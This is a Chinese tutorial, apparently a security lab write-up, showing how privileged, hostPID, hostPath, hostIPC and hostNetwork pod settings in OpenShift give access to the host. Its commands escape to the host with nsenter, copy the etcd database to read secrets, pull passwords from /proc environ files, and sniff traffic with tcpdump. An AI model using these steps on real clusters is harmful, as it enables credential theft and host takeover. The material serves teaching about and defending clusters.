OpenShift - 利用容器的特权配置实现对OpenShift攻击

《OpenShift / RHEL / DevSecOps 汇总目录》
说明:本文已经在 OpenShift 4.13 的环境中验证

本文是《容器安全 - 利用容器的特权配置实现对Kubernetes攻击》的后续篇,来介绍 在 OpenShift 环境中的容器特权配置和攻击过程和 Kubernetes 环境的差异。

文章目录

  • 准备环境
  • 利用特权配置对Kubernetes容器攻击
    • privileged + hostpid
      • 获取 ETCD 中的数据
      • 获取 PID 的运行参数
    • privileged
    • privileged+hostpath
    • hostipc
    • privileged+hostnetwork
  • 参考

准备环境

  1. 执行命令可以看到该 OpenShift 集群的相关节点。
$ oc get node -owide
NAME                            STATUS   ROLES                  AGE   VERSION           INTERNAL-IP   EXTERNAL-IP   OS-IMAGE                                                       KERNEL-VERSION                 CONTAINER-RUNTIME
control-plane-cluster-fbt6n-1   Ready    control-plane,master   28h   v1.26.9+c7606e7   10.10.10.10   <none>        Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow)   5.14.0-284.36.1.el9_2.x86_64   cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
control-plane-cluster-fbt6n-2   Ready    control-plane,master   28h   v1.26.9+c7606e7   10.10.10.11   <none>        Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow)   5.14.0-284.36.1.el9_2.x86_64   cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
control-plane-cluster-fbt6n-3   Ready    control-plane,master   28h   v1.26.9+c7606e7   10.10.10.12   <none>        Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow)   5.14.0-284.36.1.el9_2.x86_64   cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
worker-cluster-fbt6n-1          Ready    worker                 28h   v1.26.9+c7606e7   10.10.10.20   <none>        Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow)   5.14.0-284.36.1.el9_2.x86_64   cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
worker-cluster-fbt6n-2          Ready    worker                 28h   v1.26.9+c7606e7   10.10.10.21   <none>        Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow)   5.14.0-284.36.1.el9_2.x86_64   cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
  1. 创建新的 project,并确认标签默认包含有 “pod-security.kubernetes.io” 相关内容。 这是由于 OpenShift 默认对资源施加了 pod-security 策略。
$ oc new-project pod-security
$ oc get ns pod-security -ojsonpath={.metadata.labels} | jq
{"kubernetes.io/metadata.name": "pod-security","pod-security.kubernetes.io/audit": "privileged","pod-security.kubernetes.io/audit-version": "v1.24","pod-security.kubernetes.io/warn": "privileged","pod-security.kubernetes.io/warn-version": "v1.24"
}
  1. 尝试删除 Project 或 Namespace 的 pod-security.kubernetes.io 相关标签配置,确认系统提示无法修改。这是因为 OpenShift 对资源施加的 pod-security 策略是强制的,虽然不能通过上述标签关闭此功能,但可以通过显示声明的方式使用特权模式运行 Pod。
  2. 为了后面的测试,我们在集群中创建一个被攻击的 Secret 以及一个验证目录 test。
$ oc create secret generic my-secret \--from-literal=username=myadmin \--from-literal=password='mypass'
  1. 为本文采用标准 OpenShift 集群,在后面配置中有些需要强行让 Pod 运行在指定节点上。设置后面使用的 Master 和 Worker 节点名称。
$ MASTER_NODE=control-plane-cluster-fbt6n-3
$ WORKER_NODE=worker-cluster-fbt6n-3

利用特权配置对Kubernetes容器攻击

privileged + hostpid

获取 ETCD 中的数据

当 privileged 设为 true 时容器会以特权运行,而 hostPID 设置为 true 后就可以在 pod 中看宿主机的所有 pid 进程,并允许进入这些进程的命名空间。

  1. 执行以下命令创建包含 privileged + hostpid 配置的部署。从对应 Pod 可进入属于 Master 宿主机的 init system (PID 1 进程) ,从而能访问宿主机文件系统并在宿主机上执行命令。
$ cat << EOF | oc apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:name: priv-and-hostpid-1
spec:replicas: 1selector:matchLabels:app: priv-and-hostpid-1template:metadata:labels:app: priv-and-hostpid-1spec:nodeName: ${MASTER_NODE}hostPID: truecontainers:- name: priv-and-hostpidimage: ubuntutty: truesecurityContext:privileged: truecommand: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]
EOF
  1. 在 OpenShift 控制台中可以看到部署告警,其中包含 Privileged containers are not allowed 的提示。这是因为在 OpenShift 中运行特权容器需要通过有权限的 serviceaccount 才可以。
    在这里插入图片描述

  2. 为了能部署运行特权容器,可通过以下三步实现:先创建一个 serviceaccount,然后再赋予 serviceaccount 以 privileged 的 SCC 权限,最后再将 serviceaccount 设给 deployment。

$ oc describe scc privileged
Name:                                           privileged
Priority:                                       <none>
Access:Users:                                        system:admin,system:serviceaccount:openshift-infra:build-controllerGroups:                                       system:cluster-admins,system:nodes,system:masters
Settings:Allow Privileged:                             trueAllow Privilege Escalation:                   trueDefault Add Capabilities:                     <none>Required Drop Capabilities:                   <none>Allowed Capabilities:                         *Allowed Seccomp Profiles:                     *Allowed Volume Types:                         *Allowed Flexvolumes:                          <all>Allowed Unsafe Sysctls:                       *Forbidden Sysctls:                            <none>Allow Host Network:                           trueAllow Host Ports:                             trueAllow Host PID:                               trueAllow Host IPC:                               trueRead Only Root Filesystem:                    falseRun As User Strategy: RunAsAnyUID:                                        <none>UID Range Min:                              <none>UID Range Max:                              <none>SELinux Context Strategy: RunAsAnyUser:                                       <none>Role:                                       <none>Type:                                       <none>Level:                                      <none>FSGroup Strategy: RunAsAnyRanges:                                     <none>Supplemental Groups Strategy: RunAsAnyRanges:                                     <none>$ oc create sa sa-privileged
$ oc adm policy add-scc-to-user privileged -z sa-privileged
$ oc set sa deploy priv-and-hostpid-1 sa-privileged
  1. 确认 pod 已经能正常部署和运行。
$ oc get pod -l app=priv-and-hostpid-1 -owide
NAME                                  READY   STATUS    RESTARTS   AGE   IP            NODE                            NOMINATED NODE   READINESS GATES
priv-and-hostpid-1-795ff5bcdb-bslxj   1/1     Running   0          10m   10.133.0.35   control-plane-cluster-fbt6n-3   <none>           <none>
  1. 由于 Pod 中没有 strings 命令,因此需要先将 etcd 数据库从 master 节点中复制到本地。
$ oc cp $(oc get pod -l app=priv-and-hostpid-1 -o custom-columns=:metadata.name --no-headers):/var/lib/etcd/member/snap/db ~/db
tar: Removing leading `/' from member names
tar: /var/lib/etcd/member/snap/db: file changed as we read it$ ll ~/db
-rw-r--r--. 1 dawnsky dawnsky 127393792 10月29日 10:38 /home/dawnsky/db
  1. 使用本地的 strings 工具从 etcd 数据库中可以获取到 my-secret 中的敏感数据。
$ yum install binutils
$ strings ~/db | grep my-secret -A 10
-/kubernetes.io/secrets/pod-security/my-secret
Secretmy-secret
pod-security"
*$a2e0359e-8a52-479c-a7b5-62e1d33520c32
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin

获取 PID 的运行参数

当 Pod 的 hostpid 设为 true 后就可以在容器中不但可以看到所有宿主机的进程,还包括在 pod 中运行的进程以及 pod 的环境变量(/proc/[PID]/environ 文件)和 pod 的文件描述符(/proc/[PID]/fd[X])。可以在这些文件中获取到 Pod 使用的 Secret 敏感数据。另外,还可以通过 kill 进程来危害 Kubernetes 集群的运行。

  1. 执行命令运行具有 hostpid 特性的 Pod。
$ cat << EOF | kubectl apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:name: priv-and-hostpid-2
spec:replicas: 1selector:matchLabels:app: priv-and-hostpid-2template:metadata:labels:app: priv-and-hostpid-2apps: priv-and-hostpid-2spec:hostPID: truenodeName: ${WORKER_NODE}containers:- name: priv-and-hostpidimage: ubuntusecurityContext:privileged: truecommand: [ "/bin/sh", "-c", "--" ]args: [ "while true; do sleep 30; done;" ]
EOF
  1. 执行以下命令,为部署设置有 privileged 权限的 serviceaccount。
$ oc set sa deploy priv-and-hostpid-2 sa-privileged
  1. 再运行另一个使用测试 Secret 的 Pod。
$ cat << EOF | kubectl apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:name: mypasswd
spec:replicas: 1selector:matchLabels:app: mypasswdtemplate:metadata:labels:app: mypasswdapps: priv-and-hostpid-2spec:nodeName: ${WORKER_NODE}containers:- name: mysqlimage: busyboxcommand: ['sh', '-c', 'echo "Hello, OpenShift!" && sleep 1000']env:- name: MY_PASSWORDvalueFrom:secretKeyRef:name: my-secretkey: password
EOF
  1. 确认 2 个 Pod 都运行在一个 Node 上。
$ oc get pod -l apps=priv-and-hostpid-2 -owide
NAME                                READY   STATUS    RESTARTS   AGE    IP            NODE                     NOMINATED NODE   READINESS GATES
priv-and-hostpid-2-bbcc56f5-nzjnr   1/1     Running   0          51s    10.133.2.26   worker-cluster-fbt6n-3   <none>           <none>
mypasswd-9f488448d-drtqt            1/1     Running   0          34s    10.133.2.27   worker-cluster-fbt6n-3   <none>           <none>
  1. 进入 priv-and-hostpid-pod-2-bbcc56f5-nzjn 的 Pod,然后确认可以在 /proc/*/environ 中查找到 MY_PASSWORD 关键字和对应的内容。
$ oc exec -it $(oc get pod -l app=priv-and-hostpid-2 -o custom-columns=:metadata.name --no-headers) -- bash
root@hostpid-pod-bbcc56f5-nzjnr:/# for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done > envs.txt
root@hostpid-pod-bbcc56f5-nzjnr:/# cat envs.txt | grep MY_PASSWORD
MY_PASSWORD=mypass

privileged

当 privileged 设为 true 时容器会以特权运行,这样可以从容器中访问宿主机的任何设备。

  1. 执行命令创建具有 privileged 配置的部署,完成后可以看到如前一个场景的截图一样提示 Privileged containers are not allowed。
$ cat << EOF | oc apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:name: priv
spec:replicas: 1selector:matchLabels:app: privtemplate:metadata:labels:app: privspec:nodeName: ${MASTER_NODE}containers:- name: privimage: redhat/ubi8-initsecurityContext:privileged: truecommand: [ "/bin/sh", "-c", "--" ]args: [ "while true; do sleep 30; done;" ]
EOF
  1. 将 sa-privileged 设置到 priv-pod 部署后可以确认 pod 正常运行。
$ oc set sa deploy priv sa-privileged$ oc get pod -l app=priv -owide
NAME                  READY   STATUS    RESTARTS   AGE   IP            NODE                            NOMINATED NODE   READINESS GATES
priv-ddb749c9-zwtl8   1/1     Running   0          8s    10.133.0.40   control-plane-cluster-fbt6n-3   <none>           <none>
  1. 执行命令查看分区,其中 /dev/vdb1 为代表宿主机存储的设备。
$ oc exec -it $(oc get pod -l app=priv -o custom-columns=:metadata.name --no-headers) -- bash
[root@priv-6d78db564c-x6ctf /]]# fdisk -l
Disk /dev/vda: 100 GiB, 107374182400 bytes, 209715200 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: FBCD7991-A9CA-47A4-9AD7-5D4D70718039Device       Start       End   Sectors  Size Type
/dev/vda1     2048      4095      2048    1M BIOS boot
/dev/vda2     4096    264191    260096  127M EFI System
/dev/vda3   264192   1050623    786432  384M Linux filesystem
/dev/vda4  1050624 209715166 208664543 99.5G Linux filesystemDisk /dev/vdb: 30 GiB, 32212254720 bytes, 62914560 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 13B5BB15-3757-4FED-A554-849DC2AE15B3Device     Start      End  Sectors Size Type
/dev/vdb1   2048 62914526 62912479  30G Linux filesystem
  1. 将 /dev/vdb1 挂在到容器的 /host 目录下,确认可以看到 Master 宿主机的目录。
[root@priv-6d78db564c-x6ctf /]# mkdir /host
[root@priv-6d78db564c-x6ctf /]# mount /dev/vdb1 /host/
[root@priv-6d78db564c-x6ctf /]# ls /host/member/
snap  wal
$ oc cp $(oc get pod -l app=priv -o custom-columns=:metadata.name --no-headers):/host/member/snap/db ~/db
tar: Removing leading `/' from member names
$ strings ~/db | grep my-secret -A 10
-/kubernetes.io/secrets/pod-security/my-secret
Secretmy-secret
pod-security"
*$a2e0359e-8a52-479c-a7b5-62e1d33520c32
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin

privileged+hostpath

通过 hostpath 也可以将宿主机的 “/” 目录挂载到的 pod 中,从而获得宿主机文件系统的读/写权限。如果容器是运行在 master 节点上,则可访问 master 宿主机上未加密 ETCD 数据库中的敏感信息。

  1. 执行命令运行具有 hostpath 特性的 Pod,它将挂载宿主机的 / 目录。
$ cat << EOF | oc apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:name: priv-and-hostpath
spec:replicas: 1selector:matchLabels:app: priv-and-hostpathtemplate:metadata:labels:app: priv-and-hostpathspec:nodeName: ${MASTER_NODE}containers:- name: priv-and-hostpathimage: ubuntusecurityContext:privileged: truevolumeMounts:- mountPath: /hostname: noderootcommand: [ "/bin/sh", "-c", "--" ]args: [ "while true; do sleep 30; done;" ]volumes:- name: noderoothostPath:path: /
EOF
  1. 此时 Deployment 依然会提示部署告警,需要执行以下命令为部署设置有 privileged 权限的 serviceaccount。
$ oc set sa deploy priv-and-hostpath sa-privileged$ oc get pod -l app=priv-and-hostpath -owide
NAME                                 READY   STATUS    RESTARTS   AGE    IP            NODE                            NOMINATED NODE   READINESS GATES
priv-and-hostpath-7bcd778596-r6prj   1/1     Running   0          102s   10.133.0.43   control-plane-cluster-fbt6n-3   <none>           <none>
  1. 通过 priv-and-hostpath 部署将 Master 节点的 ETCD 数据库文件复制到本地。
$ oc cp $(oc get pod -l app=priv-and-hostpath -o custom-columns=:metadata.name --no-headers):/host/var/lib/etcd/member/snap/db ~/db
tar: Removing leading `/' from member names
tar: /host/var/lib/etcd/member/snap/db: file changed as we read it
  1. 确认从宿主机上未加密 ETCD 数据库中获得到 Secret 敏感数据。
$ strings ~/db | grep my-secret -A 10
-/kubernetes.io/secrets/pod-security/my-secret
Secretmy-secret
pod-security"
*$8c572ad6-8f66-48f5-97cb-cd79035208822
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin

hostipc

当 Pod 的 hostpid 设为 true 后就可以在容器中访问到宿主机 IPC 命名空间,利用 IPC 可以访问到保存在宿主机共享内存中的数据。

  1. 执行命令运行 2 个具有 hostipc 特性的 Deployment。
$ cat << EOF | oc apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:name: hostipc-1
spec:replicas: 1selector:matchLabels:app: hostipc-1template:metadata:labels:app: hostipc-1apps: hostipcspec:hostIPC: truenodeName: ${WORKER_NODE}containers:- name: hostipcimage: ubuntucommand: [ "/bin/sh", "-c", "--" ]args: [ "while true; do sleep 30; done;" ]
---
kind: Deployment
apiVersion: apps/v1
metadata:name: hostipc-2
spec:replicas: 1selector:matchLabels:app: hostipc-2template:metadata:labels:app: hostipc-2apps: hostipcspec:hostIPC: truenodeName: ${WORKER_NODE}containers:- name: hostipcimage: ubuntucommand: [ "/bin/sh", "-c", "--" ]args: [ "while true; do sleep 30; done;" ]
EOF
  1. 执行以下命令,为 2 个部署设置有 privileged 权限的 serviceaccount。
$ oc set sa deploy hostipc-1 sa-privileged
$ oc set sa deploy hostipc-2 sa-privileged
  1. 查看 2 个 Pod 都运行在相同的 Node 上。
$ oc get pod -o wide -l apps=hostipc
NAME                         READY   STATUS    RESTARTS   AGE   IP            NODE                     NOMINATED NODE   READINESS GATES
hostipc-1-6b7474694f-k864f   1/1     Running   0          77s   10.135.0.12   worker-cluster-fbt6n-3   <none>           <none>
hostipc-2-849c6f5ff7-pbd7s   1/1     Running   0          78s   10.135.0.11   worker-cluster-fbt6n-3   <none>           <none>
  1. 先进入 hostipc-1-6b7474694f-k864f 的 Pod,将测试数据写入 IPC 共享区。
$ oc exec -it $(oc get pod -l app=hostipc-1 -o custom-columns=:metadata.name --no-headers) --  bash
root@hostipc-1-6b7474694f-k864f:/# echo "secretpassword" > /dev/shm/secretpassword.txt
root@hostipc-1-6b7474694f-k864f:/# exit
exit
  1. 再进入 hostipc-2-849c6f5ff7-pbd7 的 Pod,确认可以通过 IPC 共享区获取到 hostipc-1-6b7474694f-k864f 写入的测试数据。
$ oc exec -it $(oc get pod -l app=hostipc-2 -o custom-columns=:metadata.name --no-headers) -- more /dev/shm/secretpassword.txt 
secretpassword

privileged+hostnetwork

当 Pod 的 hostnetwork 为 true 时,pod 实际上用的是宿主机的网络地址空间:即 pod 使用的是宿主机 IP,而非 CNI 分配的 IP,端口是宿主机网络监听接口。由于 pod 的流量与宿主机的流量无法区分,因此也就无法对 Pod 应用常规的 Kubernetes 网络策略。

  1. 执行命令,创建一个使用 hostnetwork 的 Pod 和一个普通 Deployment 及其对应的 Service。强制所有 Pod 都运行在 OpenShift 集群的一个 Worker 节点上。
$ cat << EOF | kubectl apply -f -
kind: Pod
apiVersion: v1
metadata:name: priv-and-hostnetworklabels:apps: priv-and-hostnetwork
spec:hostNetwork: truenodeName: ${WORKER_NODE}containers:- name: priv-and-hostnetworkcommand:- /bin/shsecurityContext:privileged: truetty: trueimage: quay.io/openshift/origin-tests:4.14
---
apiVersion: apps/v1
kind: Deployment
metadata:labels:app: hello-openshiftname: hello-openshift
spec:replicas: 1selector:matchLabels:app: hello-openshifttemplate:metadata:labels:app: hello-openshiftapps: priv-and-hostnetworkspec:nodeName: ${WORKER_NODE}containers:- image: openshift/hello-openshiftname: hello-openshiftports:- containerPort: 8080protocol: TCP- containerPort: 8888protocol: TCP
---
apiVersion: v1
kind: Service
metadata:name: hello-openshift
spec:type: NodePortports:- nodePort: 32222port: 8080selector:app: hello-openshift
EOF
  1. 查看 2 个 Pod 都运行在相同的 Worker 节点上,另外普通 Pod 的 IP 使用的是容器网段 10.133.2.14,而启用 hostnetwork 的 Pod 使用的就是 Worker 宿主机节点的 IP 地址 10.10.10.22。
$ oc get pod -l apps=priv-and-hostnetwork -owide
NAME                               READY   STATUS    RESTARTS   AGE   IP            NODE                     NOMINATED NODE   READINESS GATES
hello-openshift-786967d498-vqzzs   1/1     Running   0          9s    10.133.2.31   worker-cluster-fbt6n-3   <none>           <none>
priv-and-hostnetwork               1/1     Running   0          9s    10.10.10.22   worker-cluster-fbt6n-3   <none>           <none>
  1. 查看普通 Pod 对应 Service 绑定的 nodeport 端口。
$ oc get svc hello-openshift -ojsonpath={.spec.ports[0].nodePort}
32222
  1. 进入 priv-and-hostnetwork 的 Pod,然后查看从容器可看到的 IP 配置。
$ oc exec -it priv-and-hostnetwork -- bash
[root@worker-cluster-fbt6n-3 /]# ip a
  1. 使用 tcpdump 开始嗅探到流经 32222 端口的 TCP 数据。
[root@worker-cluster-fbt6n-3 /]# tcpdump -s 0 -A 'tcp dst port 32222 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504F5354 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x48545450 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x3C21444F'
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on enp1s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
  1. 在第二个终端里进入 Worker 节点,然后查看节点 IP 配置,确认它和第 4 步的 IP 地址相同。
$ oc debug node/${WORKER_NODE}
Temporary namespace openshift-debug-nrkr2 is created for debugging node...
Starting pod/worker-cluster-fbt6n-3-debug ...
To use host binaries, run `chroot /host`
Pod IP: 10.10.10.22
If you don't see a command prompt, try pressing enter.
sh-4.4# ip a
  1. 在第二个终端里使用的 IP 和 Service 绑定的 nodeport 访问运行在普通 Pod 中运行的 hello-openshift,确认可以正常访问。
sh-4.4# curl 10.10.10.22:32222
Hello OpenShift!
  1. 回到第 5 步的窗口,确认在 priv-and-hostnetwork 中已经可以嗅探到 Response 的数据。在真是情况下这些数据可以是敏感的业务数据,或是未经保护的密码等数据。
13:31:23.358854 IP worker-cluster-fbt6n-3.32222 > worker-cluster-fbt6n-2.59406: Flags [P.], seq 1:135, ack 81, win 478, options [nop,nop,TS val 2910336089 ecr 716100043], length 134
E...h.@.=.....}....qT.........(......
.x4Y*...HTTP/1.1 200 OK
Date: Wed, 01 Nov 2023 13:31:23 GMT
Content-Length: 17
Content-Type: text/plain; charset=utf-8Hello OpenShift!

参考

https://bishopfox.com/blog/kubernetes-pod-privilege-escalation
https://www.middlewareinventory.com/blog/tcpdump-capture-http-get-post-requests-apache-weblogic-websphere/
https://www.cnblogs.com/yechen2019/p/14690601.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/179934.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

macOS 安装brew

参考链接&#xff1a; https://mirrors4.tuna.tsinghua.edu.cn/help/homebrew/ https://www.yii666.com/blog/429332.html 安装中科大源的&#xff1a; https://zhuanlan.zhihu.com/p/470873649

cplex基础入门(三)之运行调试debug

聊聊题外话&#xff0c;你用cplex进行代码编写&#xff0c;其实你也可以相当于在编程一样&#xff0c;那对于编程&#xff0c;有一项非常核心的能力就是代码调试以及debug的能力&#xff0c;那你运行以及编写cplex也是一样&#xff0c;同样需要你会使用调试的方式&#xff0c;来…

前端学习之webpack的使用

概述 webpack是一个流行的前端项目构建工具&#xff08;打包工具&#xff09;&#xff0c;可以解决当前web开发中所面临的问题。 webpack提供了友好的模块化支持&#xff0c;以及代码压缩混淆、处理js兼容问题、性能优化等强大的功能&#xff0c;从而让程序员把工作重心放到具…

mysql---索引

概要 索引&#xff1a;排序的列表&#xff0c;列表当中存储的是索引的值和包含这个值的数据所在的行的物理地址 作用&#xff1a;加快查找速度 注&#xff1a;索引要在创建表时尽量创建完全&#xff0c;后期添加影响变动大。 索引也需要占用磁盘空间&#xff0c;innodb表数据…

常用的Linux远程桌面配置方法

TigerVNC 是 VNC&#xff08;虚拟网络计算&#xff09;的高性能、平台中立的实现&#xff0c;VNC 是一种客户端/服务器应用程序&#xff0c;允许用户在远程计算机上启动图形应用程序并与之交互。 TigerVNC 提供运行 3D 和视频应用程序所需的性能水平&#xff0c;并尝试在其支持…

【MongoDB】Windows 安装MongoDB 6.0

一、下载安装包 安装包下载地址https://www.mongodb.com/try/download/community这里我选择的是 二、解压并安装 1、解压 这里我将压缩包解压到了D盘&#xff0c;并重命名成了mongodb&#xff0c;解压后的目录如下&#xff1a; 2、创建配置文件 在D:\mongodb下新建conf目录…

Jetpack Compose 中下拉框实现

下拉菜单主要 以下三种实现&#xff1a; ExperimentalMaterialApi Composable fun ExposedDropdownMenuBox(expanded: Boolean,onExpandedChange: (Boolean) -> Unit,modifier: Modifier Modifier,content: Composable ExposedDropdownMenuBoxScope.() -> Unit )实现代…

5G及其后的5G非地面网络:趋势和研究挑战-HARQ部分

NTN组件纳入5G架构第一步 在NTN SI中定义了一组架构选项。就NT部分而言&#xff0c;已确定了两大类&#xff1a;星载&#xff08;即基于卫星的通信平台&#xff09;和机载&#xff08;即HAPS&#xff09;设备 并行管理HARQ最大进程数 NHARQRTT(NTX−1)2μ NTX&#xff1a;传输…

段错误如何调试

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言段错误产生的原因问题1&#xff1a;访问不存在的内存地址问题2&#xff1a;访问只读的内存地址问题3&#xff1a;栈溢出问题4&#xff1a;内存越界如何解决段错…

虹科示波器 | 汽车免拆检修 | 2013款大众途观车发动机加速无力

一、故障现象 一辆2013款大众途观车&#xff0c;搭载CGM发动机&#xff0c;累计行驶里程约为12.6万km。车主进厂反映&#xff0c;发动机加速无力。 二、故障诊断 接车后试车&#xff0c;发动机怠速运转正常&#xff1b;原地将加速踏板踩到底&#xff0c;发动机转速最高只能达到…

专为个人打造专注工作的便签APP工具推荐哪个

工作中很多人都比较懒散&#xff0c;工作起来动力不足&#xff0c;常常拖延消极怠工&#xff0c;等到一天结束后进行工作盘点时才发现很多项任务都没有处理完&#xff1b;这和日常工作不能专注于工作有很大的关系。 专注工作&#xff0c;在日常办公时可以选择一些好用的手机便…

JsonPath 数据快速查找和提取工具

常用语法 表达式说明$表示根元素$.key选择根元素下的指定键名的值$.*选择根元素下的所有属性值$.array[*]选择根元素中的数组的所有元素$.key[subkey]选择根元素中的键名为key&#xff0c;子键名为subkey的值$.key[*].subkey选择根元素中的键名为key的所有元素的子键名为subke…

【深度学习项目从下载到运行】

本文只是介绍一个大致的流程&#xff0c;简单的介绍一个深度学习项目整体的一个从下载到运行的框架让初学者入门。 实际在运行的过程中可能会遇到各种各样的问题。 目录 代码下载python项目各个文件夹的解释一个深度学习项目要包含的各个模块配置环境命令行运行项目且看项目的参…

将 UniLinks 与 Flutter 集成(安卓 AppLinks + iOS UniversalLinks)

让我们使用 Flutter Mobile 和 Flutter Web 集成 UniLinks。 一步一步的指导&#xff01; 我是 Pedro Dionsio&#xff0c;是葡萄牙 InspireIT 公司的 Flutter 开发人员&#xff0c;我写这个 UniLinks 教程的座右铭是&#xff1a; Firebase DynamicLinks 已被弃用&#xff0…

Goland 对容器中的 Go 程序断点远程调试

1&#xff0c;针对 golang 程序打断点有哪几种情况 临时进程&#xff1a;针对临时运行一次的 Golang 脚本&#xff0c;比如定时统计脚本&#xff0c;定时推送脚本。常驻进程&#xff1a;针对一直在后台运行的 Golang 程序&#xff0c;比如 HTTP 或者 GRPC 服务。 我们现在假设…

QT学习之QT概述

1.1 什么是QT&#xff1f; Qt是一个跨平台的C图形用户界面应用程序框架。 QT特点&#xff1a; 跨平台&#xff0c;几乎支持所有的平台接口简单&#xff0c;容易上手&#xff0c;学习QT框架对学习其他框架有参考意义。一定程度上简化了内存回收机制开发效率高&#xff0c;能够…

react+canvas实现横跨整个页面的动态的波浪线(贝塞尔曲线)

本来写这个特效 我打算用css实现的&#xff0c;结果是一波三折&#xff0c;我太难了&#xff0c;最终没能用css实现&#xff0c;转战了canvas来实现。来吧先看效果图 当然这个图的波浪高度、频率、位置、速度都是可调的&#xff0c;请根据自己的需求调整&#xff0c;如果你讲波…

【Nginx38】Nginx学习:SSL模块(二)错误状态码、变量及宝塔配置分析

Nginx学习&#xff1a;SSL模块&#xff08;二&#xff09;错误状态码、变量及宝塔配置分析 继续我们的 SSL 模块的学习。上回其实我们已经搭建起了一个 HTTPS 服务器了&#xff0c;只用了三个配置&#xff0c;其中一个是 listen 的参数&#xff0c;另外两个是指定密钥文件的地址…

Rust语言和curl库编写程序

这是一个使用Rust语言和curl库编写的爬虫程序&#xff0c;用于爬取视频。 use std::env; use std::net::TcpStream; use std::io::{BufReader, BufWriter}; ​ fn main() {// 获取命令行参数let args: Vec<String> env::args().collect();let proxy_host args[1].clon…

MobaXterm使用VNC远程显示和控制ubuntu桌面

目录 1 在ubuntu中安装vnc 2 设置ubuntu远程连接 3 MobaXterm中连接ubuntu的vnc 1 在ubuntu中安装vnc 参考&#xff1a;Ubuntu18.04~Ubuntu22.04安装并配置VNC_ubuntu安装vnc-CSDN博客 大体流程就是在ubuntu中安装vnc&#xff0c;设置密码&#xff0c;然后配置服务&#x…